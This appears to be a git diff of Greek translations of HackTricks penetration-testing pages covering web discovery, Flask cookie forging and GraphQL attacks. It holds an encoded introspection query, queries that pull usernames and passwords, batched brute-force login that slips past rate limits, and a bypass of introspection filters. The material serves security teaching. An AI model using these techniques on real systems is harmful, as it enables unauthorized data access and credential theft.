- **Αντίγραφα αρχείων**: Μόλις βρείτε όλα τα αρχεία, αναζητήστε αντίγραφα όλων των εκτελέσιμων αρχείων ("_.php_", "_.aspx_"...). Κοινές παραλλαγές για την ονομασία ενός αντιγράφου είναι: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp και file.old._ Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**bfac**](https://github.com/mazen160/bfac) **ή** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Ανακαλύψτε νέες παραμέτρους**: Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **και** [**Param Miner**](https://github.com/PortSwigger/param-miner) **για να ανακαλύψετε κρυφές παραμέτρους. Αν μπορείτε, θα μπορούσατε να προσπαθήσετε να αναζητήσετε** κρυφές παραμέτρους σε κάθε εκτελέσιμο αρχείο web.
-- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
+- _Arjun όλες οι προεπιλεγμένες λίστες λέξεων:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
@@ -279,7 +279,7 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται
- Αν παίζετε **CTF**, ένα "κοινό" κόλπο είναι να **κρύβετε** **πληροφορίες** μέσα σε σχόλια στα **δεξιά** της **σελίδας** (χρησιμοποιώντας **εκατοντάδες** **κενά** ώστε να μην βλέπετε τα δεδομένα αν ανοίξετε τον πηγαίο κώδικα με τον browser). Μια άλλη δυνατότητα είναι να χρησιμοποιήσετε **πολλές νέες γραμμές** και να **κρύψετε πληροφορίες** σε ένα σχόλιο στο **κάτω μέρος** της ιστοσελίδας.
- **API keys**: Αν **βρείτε οποιοδήποτε API key** υπάρχει οδηγός που υποδεικνύει πώς να χρησιμοποιήσετε API keys διαφόρων πλατφορμών: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
- Google API keys: Αν βρείτε οποιοδήποτε API key που μοιάζει με **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik μπορείτε να χρησιμοποιήσετε το έργο [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) για να ελέγξετε ποιες APIs μπορεί να έχει πρόσβαση το key.
-- **S3 Buckets**: Κατά τη διάρκεια του spidering ελέγξτε αν οποιοδήποτε **subdomain** ή οποιοσδήποτε **σύνδεσμος** σχετίζεται με κάποιο **S3 bucket**. Σε αυτή την περίπτωση, [**ελέγξτε** τις **άδειες** του bucket](buckets/).
+- **S3 Buckets**: Κατά τη διάρκεια του spidering ελέγξτε αν οποιοδήποτε **subdomain** ή οποιοσδήποτε **σύνδεσμος** σχετίζεται με κάποιο **S3 bucket**. Σε αυτή την περίπτωση, [**ελέγξτε** τις **άδειες** του bucket](buckets/index.html).
### Ειδικές ανακαλύψεις
@@ -289,16 +289,16 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται
- Αναζητήστε **συνδέσμους** σε άλλα αρχεία μέσα στα **CSS** αρχεία.
- [Αν βρείτε ένα _**.git**_ αρχείο μπορεί να εξαχθεί κάποια πληροφορία](git.md).
-- Αν βρείτε ένα _**.env**_ πληροφορίες όπως api keys, κωδικούς db και άλλες πληροφορίες μπορεί να βρεθούν.
+- Αν βρείτε ένα _**.env**_ πληροφορίες όπως api keys, κωδικούς βάσεων δεδομένων και άλλες πληροφορίες μπορεί να βρεθούν.
- Αν βρείτε **API endpoints** θα [πρέπει επίσης να τα δοκιμάσετε](web-api-pentesting.md). Αυτά δεν είναι αρχεία, αλλά πιθανότατα θα "μοιάζουν" με αυτά.
- **JS αρχεία**: Στην ενότητα spidering αναφέρθηκαν διάφορα εργαλεία που μπορούν να εξάγουν δρόμους από αρχεία JS. Επίσης, θα ήταν ενδιαφέρον να **παρακολουθείτε κάθε JS αρχείο που βρέθηκε**, καθώς σε ορισμένες περιπτώσεις, μια αλλαγή μπορεί να υποδηλώνει ότι μια πιθανή ευπάθεια εισήχθη στον κώδικα. Μπορείτε να χρησιμοποιήσετε για παράδειγμα [**JSMon**](https://github.com/robre/jsmon)**.**
-- Πρέπει επίσης να ελέγξετε τα ανακαλυφθέντα JS αρχεία με [**RetireJS**](https://github.com/retirejs/retire.js/) ή [**JSHole**](https://github.com/callforpapers-source/jshole) για να δείτε αν είναι ευάλωτα.
+- Θα πρέπει επίσης να ελέγξετε τα ανακαλυφθέντα JS αρχεία με [**RetireJS**](https://github.com/retirejs/retire.js/) ή [**JSHole**](https://github.com/callforpapers-source/jshole) για να δείτε αν είναι ευάλωτα.
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
- **JsFuck deobfuscation** (javascript με χαρακτήρες:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)).
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- Σε πολλές περιπτώσεις, θα χρειαστεί να **κατανοήσετε τις κανονικές εκφράσεις** που χρησιμοποιούνται. Αυτό θα είναι χρήσιμο: [https://regex101.com/](https://regex101.com) ή [https://pythonium.net/regex](https://pythonium.net/regex).
-- Μπορείτε επίσης να **παρακολουθείτε τα αρχεία όπου ανιχνεύθηκαν φόρμες**, καθώς μια αλλαγή στην παράμετρο ή η εμφάνιση μιας νέας φόρμας μπορεί να υποδηλώνει μια πιθανή νέα ευάλωτη λειτουργία.
+- Μπορείτε επίσης να **παρακολουθείτε τα αρχεία όπου ανιχνεύθηκαν φόρμες**, καθώς μια αλλαγή στην παράμετρο ή η εμφάνιση μιας νέας φόρμας μπορεί να υποδηλώνει μια πιθανή νέα ευάλωτη λειτουργικότητα.
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
@@ -308,7 +308,7 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται
**502 Proxy Error**
-Αν οποιαδήποτε σελίδα **απαντά** με αυτόν τον **κωδικό**, είναι πιθανό να είναι μια **κακώς ρυθμισμένη proxy**. **Αν στείλετε ένα HTTP αίτημα όπως: `GET https://google.com HTTP/1.1`** (με την κεφαλίδα host και άλλες κοινές κεφαλίδες), η **proxy** θα προσπαθήσει να **πρόσβαση** _**google.com**_ **και θα έχετε βρει μια** SSRF.
+Αν οποιαδήποτε σελίδα **απαντά** με αυτόν τον **κωδικό**, είναι πιθανό να είναι μια **κακώς ρυθμισμένη proxy**. **Αν στείλετε ένα HTTP αίτημα όπως: `GET https://google.com HTTP/1.1`** (με την κεφαλίδα host και άλλες κοινές κεφαλίδες), η **proxy** θα προσπαθήσει να **προσεγγίσει** _**google.com**_ **και θα έχετε βρει μια** SSRF.
**NTLM Authentication - Info disclosure**
@@ -322,7 +322,7 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται
### Έλεγχος ευπαθειών Web
-Τώρα που έχει γίνει μια εκτενής αρίθμηση της web εφαρμογής, είναι καιρός να ελέγξετε για πολλές πιθανές ευπάθειες. Μπορείτε να βρείτε τη λίστα ελέγχου εδώ:
+Τώρα που έχει πραγματοποιηθεί μια εκτενής αρίθμηση της web εφαρμογής, είναι καιρός να ελέγξετε για πολλές πιθανές ευπάθειες. Μπορείτε να βρείτε τη λίστα ελέγχου εδώ:
{{#ref}}
../../pentesting-web/web-vulnerabilities-methodology.md
diff --git a/src/network-services-pentesting/pentesting-web/flask.md b/src/network-services-pentesting/pentesting-web/flask.md
index a54adc714..bfa3cb8a9 100644
--- a/src/network-services-pentesting/pentesting-web/flask.md
+++ b/src/network-services-pentesting/pentesting-web/flask.md
@@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
-**Πιθανώς αν παίζετε ένα CTF, μια εφαρμογή Flask θα σχετίζεται με** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**
+**Πιθανώς αν παίζετε ένα CTF, μια εφαρμογή Flask θα σχετίζεται με** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)**.**
## Cookies
@@ -48,7 +48,7 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```
### **RIPsession**
-Εργαλείο γραμμής εντολών για brute-force ιστοσελίδων χρησιμοποιώντας cookies που έχουν κατασκευαστεί με το flask-unsign.
+Εργαλείο γραμμής εντολών για brute-force ιστοσελίδων χρησιμοποιώντας cookies που έχουν κατασκευαστεί με flask-unsign.
{{#ref}}
https://github.com/Tagvi/ripsession
diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md
index 5eb188e6d..4e9a4cf6f 100644
--- a/src/network-services-pentesting/pentesting-web/graphql.md
+++ b/src/network-services-pentesting/pentesting-web/graphql.md
@@ -23,7 +23,7 @@
- `/graphql/api`
- `/graphql/graphql`
-Ο εντοπισμός ανοιχτών περιπτώσεων GraphQL επιτρέπει την εξέταση των υποστηριζόμενων ερωτημάτων. Αυτό είναι κρίσιμο για την κατανόηση των δεδομένων που είναι προσβάσιμα μέσω του endpoint. Το σύστημα εσωτερικής αναγνώρισης του GraphQL διευκολύνει αυτό, παρέχοντας λεπτομέρειες για τα ερωτήματα που υποστηρίζει ένα σχήμα. Για περισσότερες πληροφορίες σχετικά με αυτό, ανατρέξτε στην τεκμηρίωση του GraphQL σχετικά με την εσωτερική αναγνώριση: [**GraphQL: Μια γλώσσα ερωτήσεων για APIs.**](https://graphql.org/learn/introspection/)
+Ο εντοπισμός ανοιχτών περιπτώσεων GraphQL επιτρέπει την εξέταση των υποστηριζόμενων ερωτημάτων. Αυτό είναι κρίσιμο για την κατανόηση των δεδομένων που είναι προσβάσιμα μέσω του endpoint. Το σύστημα αυτογνωσίας του GraphQL διευκολύνει αυτό, παρέχοντας λεπτομέρειες για τα ερωτήματα που υποστηρίζει ένα σχήμα. Για περισσότερες πληροφορίες σχετικά με αυτό, ανατρέξτε στην τεκμηρίωση του GraphQL σχετικά με την αυτογνωσία: [**GraphQL: Μια γλώσσα ερωτήσεων για APIs.**](https://graphql.org/learn/introspection/)
### Δακτυλοσκοπία
@@ -31,7 +31,7 @@
#### Καθολικά ερωτήματα
-Για να ελεγχθεί αν μια διεύθυνση URL είναι υπηρεσία GraphQL, μπορεί να σταλεί ένα **καθολικό ερώτημα**, `query{__typename}`. Εάν η απάντηση περιλαμβάνει `{"data": {"__typename": "Query"}}`, επιβεβαιώνει ότι η διεύθυνση URL φιλοξενεί ένα endpoint GraphQL. Αυτή η μέθοδος βασίζεται στο πεδίο `__typename` του GraphQL, το οποίο αποκαλύπτει τον τύπο του ερωτηθέντος αντικειμένου.
+Για να ελέγξετε αν μια διεύθυνση URL είναι υπηρεσία GraphQL, μπορεί να σταλεί ένα **καθολικό ερώτημα**, `query{__typename}`. Εάν η απάντηση περιλαμβάνει `{"data": {"__typename": "Query"}}`, επιβεβαιώνει ότι η διεύθυνση URL φιλοξενεί ένα endpoint GraphQL. Αυτή η μέθοδος βασίζεται στο πεδίο `__typename` του GraphQL, το οποίο αποκαλύπτει τον τύπο του ερωτηθέντος αντικειμένου.
```javascript
query{__typename}
```
@@ -158,19 +158,19 @@ name
}
}
```
-Ερωτήση ενδοσκόπησης σε γραμμή:
+Ερωτήματα ενδοσκόπησης σε γραμμή:
```
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
```
-Η τελευταία γραμμή κώδικα είναι ένα graphql query που θα εξάγει όλες τις μετα-πληροφορίες από το graphql (ονόματα αντικειμένων, παραμέτρους, τύπους...)
+Η τελευταία γραμμή κώδικα είναι ένα graphql query που θα εκτυπώσει όλες τις μετα-πληροφορίες από το graphql (ονόματα αντικειμένων, παραμέτρους, τύπους...)
.png>)
Αν η introspection είναι ενεργοποιημένη, μπορείτε να χρησιμοποιήσετε [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) για να δείτε σε μια GUI όλες τις επιλογές.
-### Ερωτήματα
+### Querying
-Τώρα που γνωρίζουμε ποιο είδος πληροφορίας αποθηκεύεται στη βάση δεδομένων, ας προσπαθήσουμε να **εξάγουμε κάποιες τιμές**.
+Τώρα που γνωρίζουμε ποιο είδος πληροφορίας αποθηκεύεται μέσα στη βάση δεδομένων, ας προσπαθήσουμε να **εξάγουμε κάποιες τιμές**.
Στην introspection μπορείτε να βρείτε **ποιο αντικείμενο μπορείτε να ρωτήσετε απευθείας** (διότι δεν μπορείτε να ρωτήσετε ένα αντικείμενο απλώς επειδή υπάρχει). Στην παρακάτω εικόνα μπορείτε να δείτε ότι ο "_queryType_" ονομάζεται "_Query_" και ότι ένα από τα πεδία του αντικειμένου "_Query_" είναι το "_flags_", το οποίο είναι επίσης ένας τύπος αντικειμένου. Επομένως, μπορείτε να ρωτήσετε το αντικείμενο flag.
@@ -202,7 +202,7 @@ query = { hiddenFlags }
.png>)
Φαίνεται ότι με κάποιο τρόπο θα αναζητήσει χρησιμοποιώντας το "_**uid**_" επιχείρημα τύπου _**Int**_.\
-Ούτως ή άλλως, ήδη γνωρίζαμε ότι, στην ενότητα [Basic Enumeration](graphql.md#basic-enumeration) προτάθηκε ένα ερώτημα που μας έδειχνε όλες τις απαραίτητες πληροφορίες: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
+Ούτως ή άλλως, το γνωρίζαμε ήδη, στην ενότητα [Basic Enumeration](graphql.md#basic-enumeration) προτάθηκε ένα ερώτημα που μας έδειχνε όλες τις απαραίτητες πληροφορίες: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
Αν διαβάσετε την εικόνα που παρέχεται όταν εκτελώ αυτό το ερώτημα θα δείτε ότι το "_**user**_" είχε το **arg** "_**uid**_" τύπου _Int_.
@@ -211,15 +211,15 @@ query = { hiddenFlags }
.png>)
-Σημειώστε ότι **ανακάλυψα** ότι μπορούσα να ζητήσω για τις **παραμέτρους** "_**user**_" και "_**password**_" γιατί αν προσπαθήσω να αναζητήσω κάτι που δεν υπάρχει (`query={user(uid:1){noExists}}`) λαμβάνω αυτό το σφάλμα:
+Σημειώστε ότι **ανακάλυψα** ότι μπορούσα να ζητήσω τις **παραμέτρους** "_**user**_" και "_**password**_" γιατί αν προσπαθήσω να αναζητήσω κάτι που δεν υπάρχει (`query={user(uid:1){noExists}}`) λαμβάνω αυτό το σφάλμα:
.png>)
Και κατά τη διάρκεια της **φάσης αρίθμησης** ανακάλυψα ότι το αντικείμενο "_**dbuser**_" είχε ως πεδία "_**user**_" και "_**password**_.
-**Τέχνασμα εξαγωγής συμβολοσειράς ερωτήματος (ευχαριστώ τον @BinaryShadow\_)**
+**Trick εξαγωγής συμβολοσειράς ερωτήματος (ευχαριστώ τον @BinaryShadow\_)**
-Αν μπορείτε να αναζητήσετε με βάση έναν τύπο συμβολοσειράς, όπως: `query={theusers(description: ""){username,password}}` και **αναζητήσετε για μια κενή συμβολοσειρά** θα **εξάγει όλα τα δεδομένα**. (_Σημειώστε ότι αυτό το παράδειγμα δεν σχετίζεται με το παράδειγμα των μαθημάτων, για αυτό το παράδειγμα υποθέστε ότι μπορείτε να αναζητήσετε χρησιμοποιώντας "**theusers**" με βάση ένα πεδίο String που ονομάζεται "**description**"_).
+Αν μπορείτε να αναζητήσετε με βάση έναν τύπο συμβολοσειράς, όπως: `query={theusers(description: ""){username,password}}` και **αναζητήσετε για μια κενή συμβολοσειρά** θα **εξάγει όλα τα δεδομένα**. (_Σημειώστε ότι αυτό το παράδειγμα δεν σχετίζεται με το παράδειγμα των μαθημάτων, για αυτό το παράδειγμα υποθέστε ότι μπορείτε να αναζητήσετε χρησιμοποιώντας "**theusers**" με βάση ένα πεδίο τύπου "**description**"_).
### Αναζήτηση
@@ -285,7 +285,7 @@ name
**Οι μεταλλάξεις χρησιμοποιούνται για να γίνουν αλλαγές στην πλευρά του διακομιστή.**
-Στην **εξερεύνηση** μπορείτε να βρείτε τις **δηλωμένες** **μεταλλάξεις**. Στην παρακάτω εικόνα ο "_MutationType_" ονομάζεται "_Mutation_" και το αντικείμενο "_Mutation_" περιέχει τα ονόματα των μεταλλάξεων (όπως "_addPerson_" σε αυτή την περίπτωση):
+Στην **ανάλυση** μπορείτε να βρείτε τις **δηλωμένες** **μεταλλάξεις**. Στην παρακάτω εικόνα ο "_MutationType_" ονομάζεται "_Mutation_" και το αντικείμενο "_Mutation_" περιέχει τα ονόματα των μεταλλάξεων (όπως "_addPerson_" σε αυτή την περίπτωση):
.png>)
@@ -302,9 +302,9 @@ rating
}
}
```
-**Σημειώστε πώς και οι δύο τιμές και ο τύπος δεδομένων υποδεικνύονται στο ερώτημα.**
+**Σημειώστε πώς και οι τιμές και ο τύπος των δεδομένων υποδεικνύονται στο ερώτημα.**
-Επιπλέον, η βάση δεδομένων υποστηρίζει μια **mutation** λειτουργία, ονόματι `addPerson`, η οποία επιτρέπει τη δημιουργία **προσώπων** μαζί με τις συσχετίσεις τους με υπάρχοντες **φίλους** και **ταινίες**. Είναι κρίσιμο να σημειωθεί ότι οι φίλοι και οι ταινίες πρέπει να υπάρχουν ήδη στη βάση δεδομένων πριν από τη σύνδεσή τους με το νεοδημιουργηθέν πρόσωπο.
+Επιπλέον, η βάση δεδομένων υποστηρίζει μια **mutation** λειτουργία, ονόματι `addPerson`, η οποία επιτρέπει τη δημιουργία **προσώπων** μαζί με τις συσχετίσεις τους με υπάρχοντες **φίλους** και **ταινίες**. Είναι κρίσιμο να σημειωθεί ότι οι φίλοι και οι ταινίες πρέπει να υπάρχουν ήδη στη βάση δεδομένων πριν συνδεθούν με το νεοδημιουργηθέν πρόσωπο.
```javascript
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
@@ -336,30 +336,30 @@ releaseYear
Όπως εξηγείται σε [**μία από τις ευπάθειες που περιγράφονται σε αυτή την αναφορά**](https://www.landh.tech/blog/20240304-google-hack-50000/), η υπερφόρτωση εντολών σημαίνει την κλήση μιας εντολής ακόμη και εκατομμύρια φορές για να αναγκαστεί ο διακομιστής να σπαταλήσει λειτουργίες μέχρι να είναι δυνατόν να γίνει DoS.
-### Batching brute-force σε 1 API request
+### Batching brute-force σε 1 API αίτημα
Αυτή η πληροφορία προήλθε από [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
-Αυθεντικοποίηση μέσω GraphQL API με **ταυτόχρονη αποστολή πολλών ερωτημάτων με διαφορετικά διαπιστευτήρια** για να το ελέγξουμε. Είναι μια κλασική επίθεση brute force, αλλά τώρα είναι δυνατό να σταλούν περισσότερα από ένα ζεύγος login/password ανά HTTP request λόγω της δυνατότητας batching του GraphQL. Αυτή η προσέγγιση θα παραπλανήσει τις εξωτερικές εφαρμογές παρακολούθησης ρυθμού να πιστεύουν ότι όλα είναι καλά και δεν υπάρχει bot brute-forcing που προσπαθεί να μαντέψει κωδικούς.
+Αυθεντικοποίηση μέσω GraphQL API με **ταυτόχρονη αποστολή πολλών ερωτημάτων με διαφορετικά διαπιστευτήρια** για να το ελέγξουμε. Είναι μια κλασική επίθεση brute force, αλλά τώρα είναι δυνατό να σταλεί περισσότερα από ένα ζεύγος login/password ανά HTTP αίτημα λόγω της δυνατότητας batching του GraphQL. Αυτή η προσέγγιση θα παραπλανήσει τις εξωτερικές εφαρμογές παρακολούθησης ρυθμού να πιστεύουν ότι όλα είναι καλά και δεν υπάρχει bot brute-forcing που προσπαθεί να μαντέψει κωδικούς.
Παρακάτω μπορείτε να βρείτε την απλούστερη επίδειξη ενός αιτήματος αυθεντικοποίησης εφαρμογής, με **3 διαφορετικά ζεύγη email/password ταυτόχρονα**. Προφανώς είναι δυνατό να σταλούν χιλιάδες σε ένα μόνο αίτημα με τον ίδιο τρόπο:
.png>)
-Όπως μπορούμε να δούμε από το στιγμιότυπο οθόνης της απάντησης, τα πρώτα και τρίτα αιτήματα επέστρεψαν _null_ και αντανάκλασαν τις αντίστοιχες πληροφορίες στην ενότητα _error_. Η **δεύτερη μετάλλαξη είχε τα σωστά δεδομένα αυθεντικοποίησης** και η απάντηση έχει το σωστό διακριτικό συνεδρίας αυθεντικοποίησης.
+Όπως μπορούμε να δούμε από το στιγμιότυπο της απάντησης, τα πρώτα και τρίτα αιτήματα επέστρεψαν _null_ και αντανάκλασαν τις αντίστοιχες πληροφορίες στην ενότητα _error_. Τα **δεύτερη μετάλλαξη είχε τα σωστά δεδομένα αυθεντικοποίησης** και η απάντηση έχει το σωστό διακριτικό συνεδρίας αυθεντικοποίησης.
 (1).png>)
## GraphQL Χωρίς Introspection
-Όλο και περισσότερα **graphql endpoints απενεργοποιούν την introspection**. Ωστόσο, τα σφάλματα που ρίχνει το graphql όταν λαμβάνει μια απροσδόκητη αίτηση είναι αρκετά για εργαλεία όπως το [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) να αναδημιουργήσουν το μεγαλύτερο μέρος του σχήματος.
+Όλο και περισσότεροι **graphql endpoints απενεργοποιούν την introspection**. Ωστόσο, τα σφάλματα που ρίχνει το graphql όταν λαμβάνει μια απροσδόκητη αίτηση είναι αρκετά για εργαλεία όπως το [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) να αναδημιουργήσουν το μεγαλύτερο μέρος του σχήματος.
-Επιπλέον, η επέκταση Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **παρακολουθεί τα αιτήματα GraphQL API που περνούν μέσω του Burp** και **δημιουργεί** ένα εσωτερικό **σχήμα** GraphQL με κάθε νέο ερώτημα που βλέπει. Μπορεί επίσης να εκθέσει το σχήμα για GraphiQL και Voyager. Η επέκταση επιστρέφει μια ψεύτικη απάντηση όταν λαμβάνει ένα ερώτημα introspection. Ως αποτέλεσμα, το GraphQuail δείχνει όλα τα ερωτήματα, τα επιχειρήματα και τα πεδία που είναι διαθέσιμα προς χρήση εντός του API. Για περισσότερες πληροφορίες [**ελέγξτε αυτό**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
+Επιπλέον, η επέκταση Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **παρακολουθεί τα αιτήματα GraphQL API που περνούν μέσω του Burp** και **δημιουργεί** ένα εσωτερικό **σχήμα** GraphQL με κάθε νέο ερώτημα που βλέπει. Μπορεί επίσης να εκθέσει το σχήμα για GraphiQL και Voyager. Η επέκταση επιστρέφει μια ψεύτικη απάντηση όταν λαμβάνει ένα ερώτημα introspection. Ως αποτέλεσμα, το GraphQuail δείχνει όλα τα ερωτήματα, τα επιχειρήματα και τα πεδία που είναι διαθέσιμα για χρήση εντός του API. Για περισσότερες πληροφορίες [**ελέγξτε αυτό**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
-Μια ωραία **λίστα λέξεων** για να ανακαλύψετε [**οντότητες GraphQL μπορεί να βρεθεί εδώ**](https://github.com/Escape-Technologies/graphql-wordlist?).
+Μια ωραία **λίστα λέξεων** για να ανακαλύψετε [**οντότητες GraphQL μπορείτε να βρείτε εδώ**](https://github.com/Escape-Technologies/graphql-wordlist?).
-### Bypassing GraphQL introspection defences
+### Παράκαμψη αμυνών introspection GraphQL
-Για να παρακαμφθούν οι περιορισμοί στις ερωτήσεις introspection σε APIs, η εισαγωγή ενός **ειδικού χαρακτήρα μετά την λέξη-κλειδί `__schema`** αποδεικνύεται αποτελεσματική. Αυτή η μέθοδος εκμεταλλεύεται κοινές παραλείψεις προγραμματιστών σε μοτίβα regex που στοχεύουν να μπλοκάρουν την introspection εστιάζοντας στη λέξη-κλειδί `__schema`. Προσθέτοντας χαρακτήρες όπως **κενά, νέες γραμμές και κόμματα**, που το GraphQL αγνοεί αλλά μπορεί να μην έχουν ληφθεί υπόψη στο regex, οι περιορισμοί μπορούν να παρακαμφθούν. Για παράδειγμα, ένα ερώτημα introspection με μια νέα γραμμή μετά το `__schema` μπορεί να παρακάμψει τέτοιες άμυνες:
+Για να παρακαμφθούν οι περιορισμοί στις ερωτήσεις introspection σε APIs, η εισαγωγή ενός **ειδικού χαρακτήρα μετά την λέξη-κλειδί `__schema`** αποδεικνύεται αποτελεσματική. Αυτή η μέθοδος εκμεταλλεύεται κοινές παραλείψεις προγραμματιστών σε μοτίβα regex που στοχεύουν να αποκλείσουν την introspection εστιάζοντας στη λέξη-κλειδί `__schema`. Προσθέτοντας χαρακτήρες όπως **κενά, νέες γραμμές και κόμματα**, τα οποία το GraphQL αγνοεί αλλά μπορεί να μην έχουν ληφθεί υπόψη στο regex, οι περιορισμοί μπορούν να παρακαμφθούν. Για παράδειγμα, ένα ερώτημα introspection με μια νέα γραμμή μετά το `__schema` μπορεί να παρακάμψει τέτοιες αμυντικές τακτικές:
```bash
# Example with newline to bypass
{
@@ -397,7 +397,7 @@ ws.send(JSON.stringify(graphqlMsg))
```
### **Ανακάλυψη Εκτεθειμένων Δομών GraphQL**
-Όταν η ανάλυση είναι απενεργοποιημένη, η εξέταση του πηγαίου κώδικα της ιστοσελίδας για προφορτωμένα ερωτήματα σε βιβλιοθήκες JavaScript είναι μια χρήσιμη στρατηγική. Αυτά τα ερωτήματα μπορούν να βρεθούν χρησιμοποιώντας την καρτέλα `Sources` στα εργαλεία προγραμματιστή, παρέχοντας πληροφορίες σχετικά με το σχήμα του API και αποκαλύπτοντας πιθανά **εκτεθειμένα ευαίσθητα ερωτήματα**. Οι εντολές για αναζήτηση στα εργαλεία προγραμματιστή είναι:
